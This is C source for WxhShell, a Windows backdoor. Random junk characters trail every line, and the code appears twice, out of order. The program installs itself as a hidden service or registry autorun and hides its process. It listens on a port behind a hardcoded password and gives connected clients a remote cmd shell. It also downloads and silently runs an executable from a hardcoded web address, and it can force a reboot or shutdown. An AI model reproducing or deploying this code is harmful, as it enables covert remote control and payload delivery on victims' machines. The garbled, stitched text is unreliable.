    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_Z[ul  
    else { X\1'd,V  
    closesocket(wsh); 21U,!  
    ExitThread(0); "^ cn9AG{  
    } j^~WAWbFh  
    break; . RNQlh3  
    } SQbnn"  
  // 获取shell yN~: 3  
  case 's': { Lw.N3!e[  
    CmdShell(wsh); '4qi^$|\  
    closesocket(wsh); E8Wgm 8  
    ExitThread(0); )f0t"lk  
    break; !Hr +|HKQ?  
  } v 1O* Q  
  // 退出 5fBW#6N/  
  case 'x': { hU `H\LE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cS ;hyLd  
    CloseIt(wsh); 9Kyr/6w4-k  
    break; Re b^w,  
    } 8f|  
  // 离开 0Q5ua `U  
  case 'q': { -K)P|'-?m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [0} ^w[  
    closesocket(wsh); ,saf"Ed=  
    WSACleanup(); D|n`9yv a  
    exit(1); CtA0W\9w5a  
    break; 3u8HF-  
        }  _D(F[p|  
  } iffRGnN^e  
  } "ND 7,rQ  
Tl Z|E '_C  
  // 提示信息 G?d28p',.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h7  >  
} p9 |r y+t  
  } Rj% q)aw'  
}o? @  
  return; t{K1ht$[:  
} W6~B~L  
7@rrAs-"Z  
// shell模块句柄 ]pr;ME<M{  
int CmdShell(SOCKET sock) P$D1kcCw  
{ ?!-2G  
STARTUPINFO si;  $3%EKi  
ZeroMemory(&si,sizeof(si)); I/MYS5}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K$\]\qG6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VHB5  
PROCESS_INFORMATION ProcessInfo; A=|&N%lP'  
char cmdline[]="cmd"; O&irgc!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %Ow,.+m  
  return 0; 1NT@}j~/  
} x5 3 aGi|  
z.pP~he  
// 自身启动模式 W04-D  
int StartFromService(void) t*^Q`V wQ  
{ +B%ZB9  
typedef struct `hL16S  
{ h5ST`jZ  
  DWORD ExitStatus; dH zo_VV  
  DWORD PebBaseAddress; >t O(S  
  DWORD AffinityMask; BfIGw  
  DWORD BasePriority; -2mm 5E~N  
  ULONG UniqueProcessId; q!9SANTx  
  ULONG InheritedFromUniqueProcessId; R y0n_J:7  
}   PROCESS_BASIC_INFORMATION; zrG&p Z  
_Y*]'?g`  
PROCNTQSIP NtQueryInformationProcess; Q5/".x^@  
5B@+$D[0?3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o|AV2FM)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +=^10D  
a4L8MgF&$-  
  HANDLE             hProcess; $v+Q~\'  
  PROCESS_BASIC_INFORMATION pbi; N'!a{rF  
F\Ex$:%~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =\?KC)F*e  
  if(NULL == hInst ) return 0; BD9W-mF  
{(A Ys*5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'ac %]}`-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lu6!W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5R/!e`(m  
k 0z2)3L  
  if (!NtQueryInformationProcess) return 0; x(&o=Pu  
;2-,Xzz8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q'&oSPXSDd  
  if(!hProcess) return 0; p0UR5A>p  
Edc<  8-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CbA!  
:}v&TQ  
  CloseHandle(hProcess);  ">*PH}b  
ub6=^`>h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kc\^xq~  
if(hProcess==NULL) return 0; iu2{%S)w  
Je[wGF:%:$  
HMODULE hMod; cWP34;NNM  
char procName[255]; :e`;["(,  
unsigned long cbNeeded; ~%B^`s  
=M)+O%`*6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u!];RHOp|  
1p<m>s=D=e  
  CloseHandle(hProcess); Tz]t.]!&E  
hdp;/Qz&  
if(strstr(procName,"services")) return 1; // 以服务启动 S.aSNH<  
3@*J=LGhKc  
  return 0; // 注册表启动 ^i2W=A'P  
} tpO%)*  
x-+Hy\^@|  
// 主模块 %%}U -*b  
int StartWxhshell(LPSTR lpCmdLine) %vDN{%h8  
{ aRdzXq#x  
  SOCKET wsl; |vw0:\/ H  
BOOL val=TRUE; Dx/BxqG6}_  
  int port=0; D|@*HX@_Xp  
  struct sockaddr_in door; G< l+94(  
Jc"xH~,  
  if(wscfg.ws_autoins) Install(); N2vSJ\u  
kqYWa`eE  
port=atoi(lpCmdLine); \L-o>O  
eYMp@Cx  
if(port<=0) port=wscfg.ws_port; 0 Ji>dr n  
!v;N@C3C  
  WSADATA data; O{uc  h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !jGe_xB}~  
,&rlt+wE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ly0^ L-~|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ) RS*MEgA  
  door.sin_family = AF_INET; qI"Xh" c?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @k>}h\w  
  door.sin_port = htons(port); %{WS7(si  
9}p?h1NrY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J wL}|o6  
closesocket(wsl); GSIRZJl  
return 1; -/Pg[Lx7Pb  
} HKbyi~8N=  
m-4P*P$X  
  if(listen(wsl,2) == INVALID_SOCKET) { kHygif !I4  
closesocket(wsl); FCnOvF65  
return 1; tAO,s ZW  
} sygxV  
  Wxhshell(wsl); d _ )5Ks}  
  WSACleanup(); a,i k=g  
%wWJVq}jx  
return 0; :sAb'6u1EU  
gQMcQV]C$  
} 1t wC-rC  
Jd?N5.  
// 以NT服务方式启动 SEa'>UG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `>-fU<Q1  
{ ]-h;gN  
DWORD   status = 0; tBC`(7E}  
  DWORD   specificError = 0xfffffff; v1h\ 6r'  
\H^DiF%f9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r==d^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IcRA[ g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <ZO"0oz%  
  serviceStatus.dwWin32ExitCode     = 0; Vea2 oQq  
  serviceStatus.dwServiceSpecificExitCode = 0; f 1s3pr??  
  serviceStatus.dwCheckPoint       = 0; U{/d dCf7  
  serviceStatus.dwWaitHint       = 0; Z" j #kaXA  
p5`iq~e9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [qbZp1s|(  
  if (hServiceStatusHandle==0) return; 4&%0%  
'/8{Mx+  
status = GetLastError(); C{( &Yy"  
  if (status!=NO_ERROR) n@|5PI"bx  
{ P/i{_r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hOZ:r =%  
    serviceStatus.dwCheckPoint       = 0; }huj%Pnk )  
    serviceStatus.dwWaitHint       = 0; 3-x ;_  
    serviceStatus.dwWin32ExitCode     = status; *\Z9=8yK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9U~fc U6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U )kl !  
    return; 8J|2b; Vf  
  } Nz/PAs7g6  
x*>@knP<-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qw>~] d,Z  
  serviceStatus.dwCheckPoint       = 0; OlRtVp1  
  serviceStatus.dwWaitHint       = 0; !r\u,l^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >TI/W~M  
} >7g #e,d   
'Ur1I "  
// 处理NT服务事件,比如:启动、停止 6mp8v`b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #+CH0Z  
{ Wh).%K(t  
switch(fdwControl) s&v7<)*q  
{ KU$:p^0l;*  
case SERVICE_CONTROL_STOP: tb$I8T  
  serviceStatus.dwWin32ExitCode = 0; XZ%3PMq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nA owFdCD  
  serviceStatus.dwCheckPoint   = 0; 6g*?(Y][  
  serviceStatus.dwWaitHint     = 0; ;wGoEN  
  { 6%yt"XmT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rhff8C//'  
  } 1 S<E=7  
  return; |"]#jx*8KC  
case SERVICE_CONTROL_PAUSE: {Kh^)oYdd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9w3KAca  
  break; TAL,(&[s  
case SERVICE_CONTROL_CONTINUE: n_~u!Ky_P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "w 7{,HP  
  break; arK(dg~S  
case SERVICE_CONTROL_INTERROGATE: 3Z0ez?p+5  
  break; qa-%j+  
}; \ -n&z;`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jVlXB6[-  
} ,~Y[XazT  
>]{{5oOQ>  
// 标准应用程序主函数 /(oxK>*F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8*zORz  
{ fQm3D%  
B*Z}=$1j  
// 获取操作系统版本 osM[Xv  
OsIsNt=GetOsVer(); &=f] a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xAwP  
#W$6[#7=I  
  // 从命令行安装 w{8O$4 w  
  if(strpbrk(lpCmdLine,"iI")) Install(); g)!d03Qoy  
\jmT#Gt`9  
  // 下载执行文件 8I8{xt4   
if(wscfg.ws_downexe) { z`H|]${X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) - +<ai  
  WinExec(wscfg.ws_filenam,SW_HIDE); h 8<s(WR  
} P*|qbY  
h ?_@nQ!  
if(!OsIsNt) { xiv8q/  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vp$<@Y  
HideProc(); /np05XhEa  
StartWxhshell(lpCmdLine); .(^%M 2:6  
} vRkVPkZ6|  
else V~#8lu7;  
  if(StartFromService()) Tuz~T _M  
  // 以服务方式启动 f_|pl^  
  StartServiceCtrlDispatcher(DispatchTable); ajCe&+  
else Z-j?N{3&  
  // 普通方式启动 fQU5'wGp  
  StartWxhshell(lpCmdLine); fJ  GwT  
&>n:7  
return 0; ffW-R)U|3  
} -!lSk?l  
I*z|_}$  
8\F|{vt#  
? KDg|d  
=========================================== `3eQ#,G!  
5{gv \S1  
}wB!Bx2  
\zh`z/=92  
zYxA#TZL  
BN&eU'Dl]  
" ! FVD_8  
_BEDQb{"|  
#include <stdio.h> x.9[c m-!  
#include <string.h> ZU$QwI8  
#include <windows.h> U:AB%gr[  
#include <winsock2.h> TH"<6*f2L  
#include <winsvc.h> u g_c}Nv=Y  
#include <urlmon.h> i,zZJ=a$  
a8YFH$Xh  
#pragma comment (lib, "Ws2_32.lib") naiQ$uq0  
#pragma comment (lib, "urlmon.lib") m2%n:  
%!7A" >ai  
#define MAX_USER   100 // 最大客户端连接数 c8N pk<  
#define BUF_SOCK   200 // sock buffer zh{I;~syh  
#define KEY_BUFF   255 // 输入 buffer # uy^AC$  
_Tf %<E  
#define REBOOT     0   // 重启 "r=p/"4D  
#define SHUTDOWN   1   // 关机 J8B0H1  
)j QrD`  
#define DEF_PORT   5000 // 监听端口 iu9+1+-  
,V9 r2QY  
#define REG_LEN     16   // 注册表键长度 .?5~zet#;  
#define SVC_LEN     80   // NT服务名长度 bzaweA H  
}tW1\@ =  
// 从dll定义API wE -y4V e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G?^w <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z5_jx&^Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G%junS'zt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); as73/J6  
ec,Bu7'8  
// wxhshell配置信息 \=[38?QOY  
struct WSCFG { _H@8qR  
  int ws_port;         // 监听端口 (QdLz5\  
  char ws_passstr[REG_LEN]; // 口令 cSBS38>  
  int ws_autoins;       // 安装标记, 1=yes 0=no B1j^qoC.5  
  char ws_regname[REG_LEN]; // 注册表键名 IrIW>r} -  
  char ws_svcname[REG_LEN]; // 服务名 l*Q OM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vp1Q^`a{G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9.:&u/e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FzOlM-)m   
int ws_downexe;       // 下载执行标记, 1=yes 0=no v8 II=9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I* P xQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uw?25+[b  
7:zoF], s  
}; &p+2Vz{  
iOk`_LG#  
// default Wxhshell configuration 4QE")Ge  
struct WSCFG wscfg={DEF_PORT, hXD`OlX  
    "xuhuanlingzhe", xouBBb=  
    1, Ld'3uM/  
    "Wxhshell", EUq6) K  
    "Wxhshell", )afH:  
            "WxhShell Service", u= Ga}  
    "Wrsky Windows CmdShell Service", NA YwuE-`  
    "Please Input Your Password: ", Pz|}[Cx-  
  1,  wH\ K'/  
  "http://www.wrsky.com/wxhshell.exe", A9WOu*G1O  
  "Wxhshell.exe" Odm1;\=Eg+  
    }; |}: D_TX  
[fJxbr"  
// 消息定义模块 + jN)$Y3Ya  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bnz}:te}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gF]IAZCi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UZL-mF:)&  
char *msg_ws_ext="\n\rExit."; .G}$jO}  
char *msg_ws_end="\n\rQuit."; vos-[$  
char *msg_ws_boot="\n\rReboot..."; ZSB;4 ?:h  
char *msg_ws_poff="\n\rShutdown..."; fc<,kRp  
char *msg_ws_down="\n\rSave to "; R0yp9icS  
_$mS=G(  
char *msg_ws_err="\n\rErr!"; ]'vAeC6{  
char *msg_ws_ok="\n\rOK!"; )"Wy/P  
H:t2;Z'  
char ExeFile[MAX_PATH]; t4p-pH'9b  
int nUser = 0; "/x/]Qx2  
HANDLE handles[MAX_USER]; Of  nN  
int OsIsNt; m:g%5' qDZ  
zR%)@wh  
SERVICE_STATUS       serviceStatus; SIzA0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >?{> !#1  
orEb+  
// 函数声明 o{7w&Pgs2  
int Install(void); cr!sq.)s  
int Uninstall(void); m;<5QK8f  
int DownloadFile(char *sURL, SOCKET wsh); "^t;V+Io  
int Boot(int flag); R?] S<Z  
void HideProc(void); ?'$} k  
int GetOsVer(void); 08$l=  
int Wxhshell(SOCKET wsl); i;J*9B_U  
void TalkWithClient(void *cs); V'AZs;  
int CmdShell(SOCKET sock); cMfnc.P\K  
int StartFromService(void); bR=TGL&  
int StartWxhshell(LPSTR lpCmdLine); s="cg0PD  
j[w5#]&%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nB |fw"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n* z;%'0  
xQ=L2pX  
// 数据结构和表定义 ,f .#-  
SERVICE_TABLE_ENTRY DispatchTable[] = kCKCJ }N  
{ v8THJf  
{wscfg.ws_svcname, NTServiceMain}, UmCIjwk  
{NULL, NULL} 7D4I>N'T  
}; |H8UT S X+  
qjRp5  
// 自我安装 Z-i$KF  
int Install(void) a]x\e{  
{ Csm23QLsg)  
  char svExeFile[MAX_PATH]; FFc?Av?_  
  HKEY key; AH ]L C6-  
  strcpy(svExeFile,ExeFile); 8 =3$U+  
-<5H8P-  
// 如果是win9x系统,修改注册表设为自启动 d`KW]HJw  
if(!OsIsNt) { ={nuz-3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -:V2Dsr6;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f q*V76F  
  RegCloseKey(key); 68!=`49r>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z15b'^)?9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rx4O?7;  
  RegCloseKey(key); L;' v,s  
  return 0; \fC}l Ll  
    } .7H* F9  
  } `"|u NVn  
} ="[6Z$R  
else { m6 a @Y<  
;7yt,b5&C  
// 如果是NT以上系统,安装为系统服务 B=2f-o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +'D #VG  
if (schSCManager!=0) "\kr;X'  
{ D?cE$P  
  SC_HANDLE schService = CreateService |R>I#NO5  
  ( zj'uKBDl  
  schSCManager, ;Z#DB$o\  
  wscfg.ws_svcname, cK2Us+h  
  wscfg.ws_svcdisp, S]DYEL$  
  SERVICE_ALL_ACCESS, "cX*GTNi8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V, e  
  SERVICE_AUTO_START, p:qj.ukw  
  SERVICE_ERROR_NORMAL, j=w`%nh4"f  
  svExeFile, 9Dx9alJR  
  NULL, }!Xj{Eoc  
  NULL, xW'(]Z7_  
  NULL, +tFl  
  NULL, 4";[Xr{pW  
  NULL nL* SNQ_  
  ); Edav }z  
  if (schService!=0) !CuLXuM  
  { Og<UW^VR  
  CloseServiceHandle(schService); YS&Q4nv-  
  CloseServiceHandle(schSCManager); ^1+&)6s7V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \YsYOFc|  
  strcat(svExeFile,wscfg.ws_svcname); 9@z"~H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TWJ%? /d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?1MaA  
  RegCloseKey(key); v]BMET[w  
  return 0; )Waz bT@  
    } XDq*nA8#5B  
  } l050n9#9p  
  CloseServiceHandle(schSCManager); Kg;1%J>ee  
} *.Ceb%W7C  
} T>s3s5Y  
JIU=^6^2'  
return 1; R>. %0%iq  
} )~[hf,R5S  
p'IF2e&z  
// 自我卸载 "# BI"  
int Uninstall(void) a;e~D 9%1  
{ '#0'_9}  
  HKEY key; p/inATH  
V$fvf#T  
if(!OsIsNt) { m|+g_JZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sj<WiQ%<  
  RegDeleteValue(key,wscfg.ws_regname); gEU|Bx/!=  
  RegCloseKey(key); sYb(g'W*'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;-X5#  
  RegDeleteValue(key,wscfg.ws_regname); + %07J6  
  RegCloseKey(key); ln6Hr^@5  
  return 0; -V)DKf"f  
  } -:o4|&g<*  
} P ||:?3IH  
} 2hI|] p  
else { *_7%n-k  
m`Ver:{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8z h{?0  
if (schSCManager!=0) ri k0F  
{ $Y5m"wySZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d% :   
  if (schService!=0) /^<Uy3F[p  
  { [q{[Avqf  
  if(DeleteService(schService)!=0) { S( r Fa  
  CloseServiceHandle(schService); L) ]|\|  
  CloseServiceHandle(schSCManager); mxJ& IV  
  return 0; qE&R.I!o  
  } 4R/cN' -  
  CloseServiceHandle(schService); "?UBW5nM#  
  } &z(E-w/S  
  CloseServiceHandle(schSCManager); L^0s  
} X) peY  
} U6@Hgi>  
B#T4m]E/  
return 1; 8vLaSZ="[  
} ]hL `HP  
t$lO~~atr  
// 从指定url下载文件 zg2}R4h  
int DownloadFile(char *sURL, SOCKET wsh) ?@i_\<A2  
{ ?W(>Yefk  
  HRESULT hr; z.q^`01/H  
char seps[]= "/"; 5dE@ePO[/9  
char *token; M &g1'zv?/  
char *file; 3b2[i,m<L  
char myURL[MAX_PATH]; lef,-{X-  
char myFILE[MAX_PATH]; R6A{u(  
`i,l)X]  
strcpy(myURL,sURL); *Jy'3o  
  token=strtok(myURL,seps); ZYy?JDAO  
  while(token!=NULL) |aovZ/b4  
  { :Ej#qYi  
    file=token; W5^m[,GU'  
  token=strtok(NULL,seps); rVE!mi]%  
  } Pn*+g!`  
ROyG+dUy  
GetCurrentDirectory(MAX_PATH,myFILE); As;@T$G  
strcat(myFILE, "\\"); 5QR=$?K  
strcat(myFILE, file); U2u\Q1  
  send(wsh,myFILE,strlen(myFILE),0); vO#=]J8`  
send(wsh,"...",3,0); D!- 78h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dC7YVs_,#  
  if(hr==S_OK) $-}a<UFE;  
return 0; .m]"lH*  
else %&RF;qa2xu  
return 1; <B?@,S>  
-<[MM2Y  
} N:]71+  
dp3>G2Yq  
// 系统电源模块 W/3,vf1  
int Boot(int flag) 7 )`U%}R  
{ G' 5p/:  
  HANDLE hToken; gxIGL-1M  
  TOKEN_PRIVILEGES tkp; :4f>S) m  
GEdWpYKS-`  
  if(OsIsNt) { y\Z$8'E5W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5*ip}wA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G>/Gw90E  
    tkp.PrivilegeCount = 1; 9Q<8DMX^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WPmH4L>T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `m.).Hda  
if(flag==REBOOT) { [<+A?M=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5v f?E"\r  
  return 0; Vy:I[@6@+  
} rfgkw  
else { l$PSID  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^]&uMkPN  
  return 0; (}W+W\.  
} =z5'A|Wa=,  
  } pO* $ '8L  
  else { D`?=]Ysz(  
if(flag==REBOOT) { F3XB};  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LyaFWx   
  return 0; aL9 yNj}2  
} /A8ua=Kn  
else { (aAv7kB&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J|9kWjOf+i  
  return 0; Uq:WW1=kh  
} -bN;nSgb  
} OT*C7=  
q`HuVilNH  
return 1; _(K)(&  
} Aj854 L(!  
-VqZw&"  
// win9x进程隐藏模块 tai=2,'  
void HideProc(void) TN xl?5:  
{ ~6HpI0i  
jT~PwDSFt3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6zmt^U   
  if ( hKernel != NULL ) %V,2,NCd  
  { Nl[]8G};  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vq'\`$_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5r*5Co+  
    FreeLibrary(hKernel); eI+<^p_j2  
  } {`FkiB` i  
SXYH#p  
return; yqEX0|V%  
} X"4 :#s  
B-oQ 9[~  
// 获取操作系统版本 fgiOYvIS2m  
int GetOsVer(void) 5`TbM  
{ RZ(*%b<C  
  OSVERSIONINFO winfo; %h}Qf&U_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TzaR{0 1  
  GetVersionEx(&winfo); WR&>AOWAD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qXOWCYqs  
  return 1; ae1?8man  
  else zn,y'},  
  return 0; "!ZQ`yl  
} HHT_}_?  
U9<AL.  
// 客户端句柄模块 Fgx{ s%&-  
int Wxhshell(SOCKET wsl) uPVM>xf>w  
{ #.<Uy."z2  
  SOCKET wsh; ~  4v  
  struct sockaddr_in client; eGwO!Lv}B  
  DWORD myID; Mnu8d:$  
pyvH [  
  while(nUser<MAX_USER) Z~g6C0  
{  n[vwwY  
  int nSize=sizeof(client); <>n-+Kr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I~^t\iujs  
  if(wsh==INVALID_SOCKET) return 1; 3 291"0  
F9ys.Bc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Frn<~  
if(handles[nUser]==0) z\d{A7  
  closesocket(wsh); 8 #m,TOp  
else \dm5Em/  
  nUser++; prHM}n{0  
  } s+tPHftp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wq5 }SM  
k? <.yr1  
  return 0; !lVOZ %  
} 'YKzs;y$  
)x!b{5'"7  
// 关闭 socket ;u+k! wn  
void CloseIt(SOCKET wsh) 86*9GS?U(  
{ PBeBI:  
closesocket(wsh); Su]@~^w  
nUser--; )j/2Z-Ev:W  
ExitThread(0); [P'"|TM[ ~  
} yt'P,m  
@ 0'j;")XV  
// 客户端请求句柄 L;7u0Yg  
void TalkWithClient(void *cs) ?*)Q[P5  
{ e(=() :4is  
D6$*#D3U  
  SOCKET wsh=(SOCKET)cs; t@&U2JaL>W  
  char pwd[SVC_LEN]; / 5!0wxN  
  char cmd[KEY_BUFF]; %ER"Udh  
char chr[1]; a2!U9->!  
int i,j; z4qc)- {L  
URd0|?t9^L  
  while (nUser < MAX_USER) { H;h$k]T  
w)rd--9f  
if(wscfg.ws_passstr) { @%'1Jd7-Wp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]<3n;*8k?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H zMr  
  //ZeroMemory(pwd,KEY_BUFF); 9{GEq@`7  
      i=0; |erG cKk  
  while(i<SVC_LEN) { yTxrbE  
xekU2u}WE  
  // 设置超时 jIL+^{K<  
  fd_set FdRead; &KYPi'C9!z  
  struct timeval TimeOut; (# c|San  
  FD_ZERO(&FdRead); 5K:'VX  
  FD_SET(wsh,&FdRead); .E:3I!dH7  
  TimeOut.tv_sec=8; gW5yLb_Vz$  
  TimeOut.tv_usec=0; u|mTF>L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VLfc6:Yg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2zV{I*  
=*5< w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `SH14A*  
  pwd=chr[0]; &o;d  
  if(chr[0]==0xd || chr[0]==0xa) { ~Ydm"G  
  pwd=0; f:K>o .  
  break; mo?*nO|-  
  } Ki\\yK  
  i++; j|KjQ'9  
    } 03/mB2|TF(  
DFXHD,o  
  // 如果是非法用户,关闭 socket ELN1F0TneH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [;Y,nSw  
} `0_,>Z  
g5C$#<28  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5|jsv)M+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cBD#F$K2  
=h@t#-Z"  
while(1) { }`$s"Iv@  
_f1;Hhoa  
  ZeroMemory(cmd,KEY_BUFF); '5m4kDs  
sXi~cfFaE  
      // 自动支持客户端 telnet标准   dC<2%y  
  j=0; #z1/VZ  
  while(j<KEY_BUFF) { 5SMV3~*P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k\TP3*fD  
  cmd[j]=chr[0]; yW)r`xpY  
  if(chr[0]==0xa || chr[0]==0xd) { h"y~!NWn  
  cmd[j]=0; B1V+CP3t  
  break; 3#0y.. F  
  } UQg_y3 #V  
  j++; *Fg)`M3g  
    } 7w<e^H?  
i5,yrPF  
  // 下载文件 iYf)FPET  
  if(strstr(cmd,"http://")) { 8og8;#mnyr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q@^^jlHP  
  if(DownloadFile(cmd,wsh)) !,^y!+,Qy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9sN#l  
  else ;:,U]@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? Rk[P cX<  
  } K))P 2ss  
  else { mKqXB\<  
^;9<7 h[l  
    switch(cmd[0]) { %L|xmx!c  
  6)PnzeYW  
